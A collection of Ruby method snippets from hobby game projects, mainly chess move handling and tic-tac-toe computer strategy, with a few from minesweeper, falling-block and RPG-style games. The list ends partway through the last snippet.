"def play_round\n system(\"clear\")\n @board.render\n puts\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n while action.downcase == \"e\" && !(self.valid_flip?(pos))\n self.display_unflag_message\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n end\n action.downcase == \"e\" ? @board[pos].reveal : @board[pos].toggle_flag\n @board.reveal_bombs if @board.is_a_bomb?(pos) && @board[pos].revealed\n end",
"def center_move\n if @board.board[4] == Board::EMPTY_CELL\n return 4\n end\n end",
"def get_move\n STDOUT.print(\"\\tPlayer #{self.name}/#{self.type} -- \" +\n \"center: #{@move_center.inspect} // corner: #{@move_corner.inspect}\" +\n \" // side: #{@move_side.inspect}\\n\") if $VERBOSE\n # play center\n if rand(2) > 0 && !@move_center.empty? # plus some randomness for IA vs IA\n # maybe a problem - if it the only valid move!\n m = _play_center\n return m if m > 0\n end\n # play opposite corner\n if !@move_corner.empty?\n m = _find_free_opp_corner\n STDOUT.print \"\\tPlayer #{self.name}/#{self.type} trying corner...#{m}\\n\" if $VERBOSE\n return m if m > 0\n end\n # play opposite side\n if !@move_side.empty?\n m = _find_free_side\n STDOUT.print \"\\tPlayer #{self.name}/#{self.type} trying side...#{m}\\n\" if $VERBOSE\n return m if m > 0\n end\n raise ArgumentError,\n \"No more move to play for #{self.name} / #{self.type} /\\n\" +\n \"center: #{@move_center.inspect} // corner: #{@move_corner.inspect} // side: #{@move_side.inspect}\"\n end",
"def play_move!( m )\n self.delete_if { |pos, piece| pos == m.to_coord || pos == m.captured_piece_coord }\n\n piece_moved = self.delete(m.from_coord)\n self[m.to_coord] = piece_moved\n\n if m.castled==1\n castling_rank = m.to_coord.rank.to_s\n [['g', 'f', 'h'], ['c', 'd', 'a']].each do |king_file, new_rook_file, orig_rook_file|\n #update the position of the rook corresponding to the square the king landed on\n\tif m.to_coord.file == king_file \n\t rook = self.delete(\"#{orig_rook_file}#{castling_rank}\")\n\t self[\"#{new_rook_file}#{castling_rank}\"] = rook\n\tend\n end\n end\n \n #TODO investigate why this method is getting called multiply per moves << Move.new\n return unless piece_moved\n ep_from_rank, ep_to_rank, ep_rank = EN_PASSANT_CONFIG[ piece_moved.side ]\n @en_passant_square = ( piece_moved.function == :pawn &&\n m.from_coord.rank == ep_from_rank && \n m.to_coord.rank == ep_to_rank ) ? m.from_coord.file + ep_rank.to_s : nil\n\n #reflect promotion\n if piece_moved && piece_moved.function == :pawn && m.to_coord.to_s.rank == piece_moved.promotion_rank\n self.delete(m.to_coord)\n self[m.to_coord] = Queen.new(piece_moved.side, :promoted)\n #puts self.to_s if m.to_coord == 'a8'\n #debugger if m.to_coord == 'a8'\n end\n \n self\n end",
"def place_initial_pieces\n x = @board.get_size/2\n y = @board.get_size/2\n \n @board.place_piece(x, y, @players[0])\n @board.place_piece(x - 1, y, @players[1])\n @board.place_piece(x, y - 1, @players[1])\n @board.place_piece(x -1, y - 1, @players[0])\n end",
"def valid_white_rook(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n xtrans = x\n ytrans = y\n\n return false if white_owned(x1,y1)\n\n #Getting the one space moves for the square around the rook\n if x1 == x+1 && y1 == y\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x-1 && y1 == y\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 == y+1\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 == y-1\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n end\n\n #The spaces that are +1 further away\n if x1 > x+1 && y1 == y\n while xtrans < x1-1 do\n xtrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 < x-1 && y1 == y\n while xtrans > x1+1 do\n xtrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 > y+1\n while ytrans < y1-1 do\n ytrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 < y-1\n while ytrans > y1+1 do\n ytrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n end\n return false\n end",
"def move(forward)\n if @direction == \"N\"\n if @y + 1 < @@ymax\n @y += 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction == \"S\"\n if @y - 1 > @@ymin\n @y -= 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction ==\"E\"\n if @x + 1 < @@xmax\n @x += 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction == \"W\"\n if @x - 1 > @@xmin\n @x -= 1\n else\n puts \"Nice try sucker\"\n end\n else\n puts \"Where in the world are you?\"\n end\nend",
"def start\n \t\tself.board.display_instruction\n \t\tcurrent_player = select_first_player\n \t\t(self.board.size).times do \n \t\t\tplay(current_player)\n \t\t\tcurrent_player = next_of current_player \n end\n display_winner(nil, true)\n \tend",
"def valid_black_rook(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n xtrans = x\n ytrans = y\n\n return false if black_owned(x1,y1)\n\n #Getting the one space moves for the square around the rook\n if x1 == x+1 && y1 == y\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x-1 && y1 == y\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 == y+1\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 == y-1\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n end\n\n #The spaces that are +1 further away\n if x1 > x+1 && y1 == y\n while xtrans < x1-1 do\n xtrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 < x-1 && y1 == y\n while xtrans > x1+1 do\n xtrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 > y+1\n while ytrans < y1-1 do\n ytrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 < y-1\n while ytrans > y1+1 do\n ytrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n end\n return false\n end",
"def corner_first(board, marker)\r\n\t\tif first_move == true\r\n\t\t\tboard[0] = marker\r\n\t\telse\r\n\t\t\tfalse\r\n\t\tend\r\n\tend",
"def move_o(wins, player, opponent, round)\n if round == 2 # in round 2\n # check if X took center and if so take a corner, otherwise take center\n (opponent & @center).size == 1 ? position = @corners.sample : position = 4\n elsif round == 4 # in round 4\n position = move_r4(wins, player, opponent) # determine ideal position based on X and O's positions\n elsif round == 6 # in round 6\n position = move_r6(wins, player, opponent) # determine ideal position based on X and O's positions\n else\n position = win_check(wins, player, opponent) # use win/block logic for round 8\n end\n end",
"def start_moving\n return if marked_floors.empty?\n init_direction\n move\n end",
"def play\n while true\n current_player.en_passant = false\n board.formatted_grid\n if check_for_check\n if check_for_checkmate\n puts \"Checkmate!\"\n else\n puts \"Check!\"\n end\n end\n x, y = prompt_selection\n puts \"\"\n puts ask_move\n x_end, y_end = get_move\n if x_end == \"back\"\n board.clear_board\n play\n end\n while board.valid_place?(x_end, y_end) == false\n puts \"Invalid option! Try again:\"\n x_end, y_end = get_move\n board.valid_place?(x_end, y_end)\n end\n #check for en passant\n if board.get_cell_piece(x, y).type == \"pawn\" && y_end - y == 2\n current_player.en_passant = true\n elsif board.get_cell_piece(x, y).type == \"pawn\" && y - y_end == 2\n current_player.en_passant = true\n end\n\n #check for promotion\n if board.get_cell_piece(x, y).type == \"pawn\" && board.get_cell_piece(x, y).color == \"white\" && y_end == 0\n promote(x, y)\n elsif board.get_cell_piece(x, y).type == \"pawn\" && board.get_cell_piece(x, y).color == \"black\" && y_end == 7\n promote(x, y)\n end\n\n #check for castling\n if board.get_cell_piece(x, y).type == \"king\" && x_end - x == 2\n board.piece_move(x + 3, y, x + 1, y)\n board.set_cell_color(x + 2, y, \"red\")\n elsif board.get_cell_piece(x, y).type == \"king\" && x - x_end == 2\n board.piece_move(x - 4, y, x - 1, y)\n board.set_cell_color(x - 2, y, \"red\")\n end\n #check if taking an opponent's piece\n if is_taking_piece?(x_end, y_end) \n hash_value = other_player.pieces_left.key([x_end, y_end])\n current_player.pieces_left[hash_value] = [x_end, y_end]\n other_player.pieces_left.delete(hash_value)\n\n board.piece_move(x, y, x_end, y_end)\n else\n hash_value = current_player.pieces_left.key([x, y])\n current_player.pieces_left[hash_value] = [x_end, y_end]\n board.piece_move(x, y, x_end, y_end)\n end\n #if board.game_over\n #puts game_over_message\n #board.formatted_grid\n #return\n #else\n switch_players\n #end\n end\n end",
"def corner_first(board, marker)\n\t\tif first_move == true\n\t\t\tboard[0] = marker\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def moves\n # All pieces can stay in place\n [[0,0]]\n end",
"def computer_places_piece!(brd)\n square = nil\n\n WINNING_LINES.each do |line|\n square = find_two_sqrs(line, brd, PLAYER_MARKER)\n break if square\n end\n\n if !square\n WINNING_LINES.each do |line|\n square = find_two_sqrs(line, brd, COMPUTER_MARKER)\n break if square\n end\n end\n\n if !square\n square = empty_squares(brd).sample\n end\n\n brd[square] = COMPUTER_MARKER\nend",
"def computer_places_piece!(brd)\n square = nil\n\n # offensive move\n Board::WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, Board::CPU_MARKER)\n break if square\n end\n\n # defensive move\n if !square\n Board::WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, Board::PLAYER_MARKER)\n break if square\n end\n end\n\n # optimized first move, choose the center\n if empty_squares(brd).include?(5)\n square = 5\n end\n\n # neutral move\n if !square\n square = empty_squares(brd).sample\n end\n\n brd.position_values[square] = Board::CPU_MARKER\n end",
"def test_X_takes_center_empty\r\n\t\tplayer = Unbeatable_AI.new(\"X\")\r\n\t\tassert_equal(4, player.get_move([\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]))\r\n\tend",
"def look_for_center\n center = 5\n return center if @game.game.free_position?(center)\n false\n end",
"def play\n until board.king_in_checkmate?(:white) || board.king_in_checkmate?(:black) || board.stalemate?\n display.render\n input = get_start\n @board.piece_in_hand = @board[input]\n make_move(input)\n @board.switch_players!\n end\n display.render\n if board.king_in_checkmate?(:white)\n puts \"White is in Checkmate\\nBlack wins!\"\n elsif board.king_in_checkmate?(:black)\n puts \"Black is in Checkmate\\nWhite wins!\"\n else\n puts \"Stalemate!\"\n end\n rescue BadInputError, BadMoveError\n @board.drop_piece\n retry\n end",
"def first_move\n computer.move if @first_player == COMPUTER_PLAYER\n @on_move = HUMAN_PLAYER\n end",
"def move_player (start, stop, piece)\r\n $board[stop[0]][stop[1]] = piece\r\n $board[start[0]][start[1]] = nil \r\n $board[stop[0]][stop[1]].turn += 1\r\n @prev_coord= [stop[0], stop[1]]\r\n @prev_delta_y = (stop[1] - start[1]).abs\r\n if piece.class == Pawn and (stop[1] == 7 or stop[1] == 0)\r\n promotion(stop, piece)\r\n end \r\n end",
"def center(board)\n !board.taken?(5) ? 5 : nil\n end",
"def cornerMove\n # corners are 0 2 6 8\n opponent = (currentPlayer == 'X')? 'O' : 'X' \n CORNERS.each_with_index do |corner, i|\n if @board[corner] == opponent && !position_taken?(CORNERS[( i + 2) % 4])\n return CORNERS[( i + 2) % 4]\n end\n end\n\n # if here, then there is no opposite corner left to occupy, so any avaiable corner\n CORNERS.each do |corner| \n if !position_taken?(corner) \n return corner\n end\n end\n return false\n end",
"def each_move\n SQ.select { |i| @colors[i] == @mx }.each do |f|\n if @pieces[f] == PAWN\n t = f + UP[@mx]\n yield(f, t + 1) if @colors[t + 1] == @mn && SQ120[SQ64[t] + 1] != NULL\n yield(f, t - 1) if @colors[t - 1] == @mn && SQ120[SQ64[t] - 1] != NULL\n next unless @colors[t] == EMPTY\n yield(f, t)\n yield(f, t + UP[@mx]) if @colors[t + UP[@mx]] == EMPTY && (f >> 3) == (SIDE[@mx] - 1).abs\n next\n end\n STEPS[@pieces[f]].each do |s|\n t = SQ120[SQ64[f] + s]\n while t != NULL\n yield(f, t) if @colors[t] != @mx\n break if @pieces[f] == KING || @pieces[f] == KNIGHT || @colors[t] != EMPTY\n t = SQ120[SQ64[t] + s]\n end\n end\n end\n end",
"def move_piece(move, color) \n squares = find_start_and_end(move) # [start, end]\n\n return false if @display[squares[0][0]][squares[0][1]].guest == ' '\n\n start_piece = @display[squares[0][0]][squares[0][1]].guest\n\n return false if start_piece.color != color \n\n moves = get_legal_moves(squares[0], start_piece, start_piece.poss_moves(squares[0]))\n\n\n if moves.include?(squares[1])\n\n # castling\n if start_piece.id == 'king' && start_piece.color == 'white' && squares[1] == [7, 1] \n make_move(squares[0], squares[1], start_piece)\n make_move([7, 0], [7, 2], @display[0][0].guest)\n elsif start_piece.id == 'king' && start_piece.color == 'black' && squares[1] == []\n make_move(squares[0], squares[1], start_piece)\n make_move([0, 0], [0, 2], @display[7][0].guest)\n\n # pawn -> queen upgrade\n elsif start_piece.id == 'pawn' && start_piece.color == 'white' && squares[1][0].zero?\n make_move(squares[0], squares[1], Queen.new('white'))\n elsif start_piece.id == 'pawn' && start_piece.color == 'black' && squares[1][0] == 7\n make_move(squares[0], squares[1], Queen.new('black'))\n\n else\n make_move(squares[0], squares[1], start_piece)\n end\n else\n false\n end\n end",
"def piece_in_play(start)\r\n return $board[start[0]][start[1]]\r\n end",
"def move\n puts \"The computer is playing...\".cyan\n sleep(0.5) #computer \"thinks\" for half a second, this seemed more realistic\n return if @game.game_over?\n space = (@game.available_moves & [1,3,5,7,9]).first\n if space.nil? \n space = @game.available_moves.first\n end\n @game.place_piece(space, @piece)\n end",
"def botTurn\n # check if we can win with one move or need to block\n if positions = winOrBlock?(currentPlayer) || positions = winOrBlock?( (currentPlayer == 'X')? 'O' : 'X')\n takeLastSpot(positions)\n \n # check if there is a chance for bot to create a fork, or block oponent from making fork \n elsif forks = possibleFork?(currentPlayer) || forks = possibleFork?((currentPlayer == 'X')? 'O' : 'X')\n \n \n if forks.size == 1\n # find the most common index and move there\n commonElement = forks.max_by {|i| forks.count(i)}\n move(commonElement, currentPlayer)\n else\n # more than one fork possible,\n # find optimal block point, move there\n move(blockPoint(forks), currentPlayer)\n end\n \n # take the center if its available\n elsif !position_taken?(4)\n move(4, currentPlayer)\n \n # take an opposite corner from the oponent. If not available, take any corner\n elsif corner = cornerMove\n move(corner, currentPlayer)\n \n # play in a middle square on any of the sides \n else\n SIDE_MIDDLE.each do |position|\n if !position_taken?(position)\n move(position, currentPlayer)\n break\n end\n end\n end\n puts \"#{(currentPlayer == 'X')? 'O': 'X'}'s move: \"\n displayBoard\n end",
"def firstmove(cakes)\n true # I want to move first\n end",
"def firstmove(cakes)\n true # I want to move first\n end",
"def firstmove(cakes)\n true # I want to move first\n end",
"def center\n if @board.square(1,1).nil?\n [1,1]\n else\n nil\n end\n end",
"def first_move\n if color == 'black'\n if y_position == 1\n return 2\n else\n return 1\n end\n elsif y_position == 6\n return 2\n else\n return 1\n end\n end",
"def iterate\r\n\t\tif @gameover\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\tk = @args.inputs.keyboard\r\n\r\n\t\tif k.key_down.up\r\n\t\t\trotate\r\n\t\tend\r\n\r\n\t\t#nie wychodzenie poza ramki\r\n\t\tif k.key_down.left && @current_piece_x>0\r\n\t\t\t@current_piece_x -= 1\r\n\t\tend\r\n\t\tif k.key_down.right && ((@current_piece_x+@current_piece.length) < @grid_w)\r\n\t\t\t@current_piece_x += 1\r\n\t\tend\r\n\t\tif (k.key_down.down || k.key_held.down) && !colliding\r\n\t\t\t@next_move -= 3 #ile razy szybciej\r\n\t\tend\r\n\r\n\t\t@next_move -= 1\r\n\t\tif @next_move <= 0\r\n\t\t\t#jeżeli koliduje to umieszczamy na stałe klocek w tym miejscu (zapisując na planszy jego kratki jako 1)\r\n\t\t\tif colliding\r\n\t\t\t\tplant_current_piece\r\n\t\t\telse\r\n\t\t\t\t@next_move =10\r\n\t\t\t\t@current_piece_y += 1\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"def play\n @possible_moves.each do |move|\n new_board = @board | move\n if (@@position[new_board] || Tactics.new(new_board, @possible_moves).play) == LOSS then\n return @@position[@board] = WIN \n end\n end\n @@position[@board] = LOSS\n end",
"def player_places_piece!(brd)\n square = ''\n loop do\n prompt \"Choose a square (#{empty_squares(brd).join(', ')}):\"\n square = gets.chomp.to_i\n break if empty_squares(brd).include?(square)\n prompt \"Sorry, that's not a valid choice\"\n end\n\n brd.position_values[square] = Board::PLAYER_MARKER\n end",
"def pawn_move? piece, square\n if piece.moved == false && two_squares_vertical?(piece.square, square) && square.piece.nil?\n true\n elsif (diagonal?(piece.square, square) && adjacent?(piece.square, square)) && square.piece != nil\n true\n elsif vertical?(piece.square, square) && adjacent?(piece.square, square)\n pawn_direction?(piece, square)\n else\n false\n end\n end",
"def move_piece!(start_pos, end_pos)\n null = NullPiece.instance\n if self[start_pos].class == King\n if self[start_pos].color == :black\n @black_king_pos = end_pos\n else\n @white_king_pos = end_pos\n end\n end\n if pawn_promotion?(start_pos, end_pos)\n color = self[start_pos].color\n self[start_pos] = null\n Queen.new(self, end_pos, color)\n else\n self[start_pos].pos = end_pos\n self[end_pos], self[start_pos] = self[start_pos], null\n end\n end",
"def best_move\n find_at_risk_square(mark) ||\n find_at_risk_square(@human.mark) ||\n center_square ||\n corner_play ||\n board.unmarked_keys.sample\n end",
"def check_opponent_has_center()\n\t\t\tposition = 2\n\t\treturn position\n\tend",
"def check_opponent_has_center()\n\t\t\tposition = 2\n\t\treturn position\n\tend",
"def center_empty?\n @board.cells[4] == \" \"\n end",
"def select_piece\n piece_pos = get_piece_locations.sample\n return select_piece if @board[piece_pos].valid_moves.empty?\n piece_pos\n end",
"def next_piece\n if @cheating\n @current_block = NeoPiece.new([[[0,0]]], self)\n @cheating = false\n elsif @cheating_two\n @current_block= NeoPiece.new([[[0,0],[0,1]],[[0,0],[1,0]]], self)\n @cheating_two = false\n else\n @current_block = NeoPiece.next_piece(self)\n end\n @current_pos = nil\n end",
"def computers_round\n @played = false\n\n if @turn == 1\n random_tile #which will choose a corner automatically\n end\n\n [@curr_player_index,((@curr_player_index + 1) % 2)].each do |i|\n if @played == false\n check_2in3(@avail_tiles, @players[i].moves) #first checks if computer can already win, then check if need to prevent player from winning\n choose_tile(@any_winning[0]) if @any_winning.length > 0\n end\n end\n\n if @played == false #runs if no one can immediately win in this round\n if @final_move == nil\n final_move(@avail_tiles, @players[@curr_player_index].moves, nil)\n end\n\n if @final_move != nil #final move is now determined; note, this is not 'else' of the prior 'if'\n choose_tile(@final_move)\n else #if final move not determined, run strategy\n if @turn == 3 #the strategy would not be useful except in turn 1\n winning_strategy\n choose_tile(@checkmate_move) if @checkmate_move != nil\n end\n end\n end\n\n if @played == false #is still no move taken\n #in the event that Player goes first, and chooses a corner\n if @turn == 2 and @avail_corners.length == 3\n choose_tile(\"5\") #choose the centre\n #in the event that Computer goes first, and Player chooses centre\n elsif @turn == 3 and @taken_tiles.include? \"5\"\n player_chooses_centre_in_turn2\n elsif @turn == 4\n if @avail_corners.length == 3 #in the event that Player goes first but avoids choosing corners\n choose_tile(\"5\") #choose the centre\n elsif @avail_corners.length == 2\n if @players[@curr_player_index].moves.include? \"5\" #i.e. Player took 2 diagonal corners; Computer took centre\n #choose a tile that is not a corner\n non_corners = [\"2\",\"4\",\"6\",\"8\"]\n random_non_corner = non_corners[rand(4)]\n choose_tile(random_non_corner)\n else #i.e. Player intially takes centre, Computer then takes corner, Player then takes diagonal corner\n random_tile #chooses a remaining corner\n end\n else\n if @avail_corners.length == 2 and !@taken_tiles.include? \"5\" #i.e. Player initial takes non-corner, Computer takes a corner, Player then takes a corner\n choose_tile(\"5\") #choose the centre\n end\n end\n else\n random_tile\n end\n end\n end",
"def second_move() \n\t\tif first_move == false && board[4].class = Fixnum\n\t\t\tboard[4] = marker\n\t\telse\n\t\t\tcorner\n\t\tend\n\tend",
"def go!\n send_position_to_engine\n move_piece(bestmove)\n end",
"def play_round\n puts \"---D I N G ! N E W R O U N D !---\"\n @round_over = false\n take_turn(self.current_player) until @round_over\n if @round_over\n @fragment = \"\"\n self.display_standings\n sleep 5\n system(\"clear\")\n end\n end",
"def make_first_play?(points)\n points > 350\n end",
"def play_manual\n first_move = true\n Display.clear_screen\n Display.draw_board(@cur_board, @player_white, @player_black)\n puts \"Starting Position\"\n\n while (true)\n case Display.man_menu\n when \"n\"\n if \"#{@turn}#{@player_to_move}\" != @data[\"moves\"].keys[-1]\n !first_move ? increment_game : first_move = false\n play_turn\n else\n puts \"End of Game, Can't go forward\"\n sleep(1)\n end\n when \"b\"\n if \"#{@turn}#{@player_to_move}\" == \"1w\"\n if (first_move)\n puts \"Start of Game, Can't go back\"\n sleep(1)\n else\n first_move = true\n reset_game\n end\n else\n change_turn\n @turn -=1 if player_to_move == \"b\"\n fast_forward(\"#{@turn}#{@player_to_move}\")\n end\n when \"goto\"\n move = Display.get_move\n valid = validate_move(move)\n begin\n if valid\n first_move = false\n fast_forward(move)\n else raise InputError end\n rescue InputError => e\n puts e.message\n sleep(2)\n end\n when \"exit\"\n exit\n end\n Display.clear_screen\n if first_move\n Display.draw_board(@cur_board, @player_white, @player_black)\n puts \"Starting Position\"\n else\n view_turn\n end\n\n if \"#{@turn}#{@player_to_move}\" == @data[\"moves\"].keys[-1] then Display.game_end_ui(determine_winner) end\n end\n end",
"def chase_preceding_character\r\r\n return if self.command_holding?\r\r\n unless moving? && !@force_chase\r\r\n dist = CXJ::FREE_MOVEMENT::FOLLOWERS_DISTANCE / 32.0\r\r\n mrgn = CXJ::FREE_MOVEMENT::FOLLOWERS_DISTANCE_MARGIN / 32.0\r\r\n \r\r\n far_dist = distance_preceding_character\r\r\n \r\r\n if far_dist > 3\r\r\n type = 1\r\r\n prevent_bug_cnt = 0\r\r\n else\r\r\n type = 2\r\r\n end\r\r\n \r\r\n if !move_poll.empty? && distance_preceding_leader < 0.8\r\r\n move_poll.clear\r\r\n end\r\r\n \r\r\n \r\r\n if type == 1 && move_poll.empty?\r\r\n reachable = false\r\r\n \r\r\n $game_player.followers.each do |follower|\r\r\n follower.move_poll.clear\r\r\n if follower.move_poll.empty? && follower.distance_preceding_leader > 3\r\r\n reachable = follower.move_to_position($game_player.x,$game_player.y)\r\r\n if move_poll.empty? || !reachable\r\r\n follower.moveto($game_player.x,$game_player.y) \r\r\n end\r\r\n \r\r\n end\r\r\n end\r\r\n elsif type == 2\r\r\n \r\r\n goal = @preceding_character\r\r\n sx = distance_x_from(goal.x)\r\r\n sy = distance_y_from(goal.y)\r\r\n sd = Math.hypot(sx, sy)\r\r\n if @board\r\r\n @x = goal.x\r\r\n @y = goal.y\r\r\n @board = false\r\r\n elsif(sd > dist && sx.abs > mrgn && sy.abs > mrgn)\r\r\n @move_poll += [[(sx > 0 ? -1 : 1) + (sy > 0 ? 8 : 2), true]]\r\r\n elsif sx.abs > dist && sx.abs > sy.abs\r\r\n @move_poll+=[[sx > 0 ? 4 : 6, true]]\r\r\n elsif sy.abs > dist && sx.abs < sy.abs\r\r\n @move_poll+=[[sy > 0 ? 8 : 2, true]]\r\r\n end\r\r\n end\r\r\n \r\r\n end\r\r\n end",
"def center\n move(90)\n end",
"def castle_move\r\n return false if @sx.abs != 2\r\n # If the king is moving two spaces to the left:\r\n if @x1 < @x0\r\n @target_rook = game.pieces.where(x_position: 1, y_position: @y0).first\r\n # If the king is moving two spaces to the right:\r\n else\r\n @target_rook = game.pieces.where(x_position: 8, y_position: @y0).first\r\n end\r\n return false if @target_rook.nil?\r\n # Neither the king nor the rook have moved:\r\n return false if !first_move? || !@target_rook.first_move?\r\n # Move the rook to the other side of the moved king:\r\n if @target_rook.x_position == 1\r\n @target_rook.update_attributes(x_position: 4)\r\n Move.create(game_id: game.id, piece_id: @target_rook.id, move_count: 1, old_x: 1, new_x: 4, old_y: @y0, new_y: @y0)\r\n else\r\n @target_rook.update_attributes(x_position: 6)\r\n Move.create(game_id: game.id, piece_id: @target_rook.id, move_count: 1, old_x: 8, new_x: 6, old_y: @y0, new_y: @y0)\r\n end\r\n true\r\n end",
"def runner\n set_starting_position\n until @rabbit_asleep \n eat_carrot\n possible_moves\n end \n @carrot_count\nend",
"def second_move() \r\n\t\tif first_move == false && board[4].class = Fixnum\r\n\t\t\tboard[4] = marker\r\n\t\telse\r\n\t\t\tcorner\r\n\t\tend\r\n\tend",
"def moving?; @moving; end",
"def moving?; @moving; end",
"def do_move(game, mark)\n player = mark == 'X' ? 'O' : 'X'\n player_marks = game.turns.where(mark: player).map {|turn| turn.board_index}\n marks = game.turns.where(mark: mark).map {|turn| turn.board_index}\n i = nil\n\n # Look for winning move\n @@win_conditions.each do |win|\n if (win-marks).size == 1 && !game.board[(win-marks).first]\n i = (win-marks).first\n end\n end\n\n if !i\n # Block any potential wins for player\n @@win_conditions.each do |win|\n if (win-player_marks).size == 1 && !game.board[(win-player_marks).first]\n i = (win-player_marks).first\n end\n end\n end\n\n if !i\n # Prioritize corners \n if !game.board[0] || !game.board[2] || !game.board[6] || !game.board[8]\n i = [0, 2, 6, 8].sample \n\n while game.board[i]\n i = [0, 2, 6, 8].sample \n end\n # Else prioritize center\n elsif !game.board[4]\n i = 4\n end\n end\n\n # If all else fails just pick a random open spot\n if !i\n i = [1, 3, 5, 7].sample\n\n while game.board[i]\n i = [1, 3, 5, 7].sample \n end\n end\n\n game.turns.build(mark: mark, board_index: i).save\n end",
"def move(direction) \n # Exit map check\n if direction == 'up' && @pos_y == 2 && @pos_x == 1\n ProfBirchHome.new(@player, 'top').begin\n # If interacting with Prof Birch Child in first time instance, do a speech & animation\n elsif @player.profbirchhomeupstairs == 'first' \n if (direction == 'up' && @pos_y == 8 && @pos_x == 3) || (direction == 'right' && @pos_y ==7 && @pos_x == 2) || (direction == 'left' && @pos_x == 2 && @pos_y == 9)\n slowly(\"POKEMON fully restored!\\nItems ready, and... Huh?\")\n reset_map\n slowly(\"Huh? Who... Who are you?\")\n reset_map\n slowly(\"... ... ... ... ... ... ... ...\\n... ... ... ... ... ... ... ...\")\n reset_map\n slowly(\"Oh, you're #{ @player.name }.\\nSo your move was today.\")\n reset_map\n slowly(\"Um... I'm #{ @player.other_name }.\\nGlad to meet you!\")\n reset_map\n slowly(\"I...\\nI have this dream of becoming friends\")\n slowly(\"with POKEMON all over the world.\")\n reset_map\n 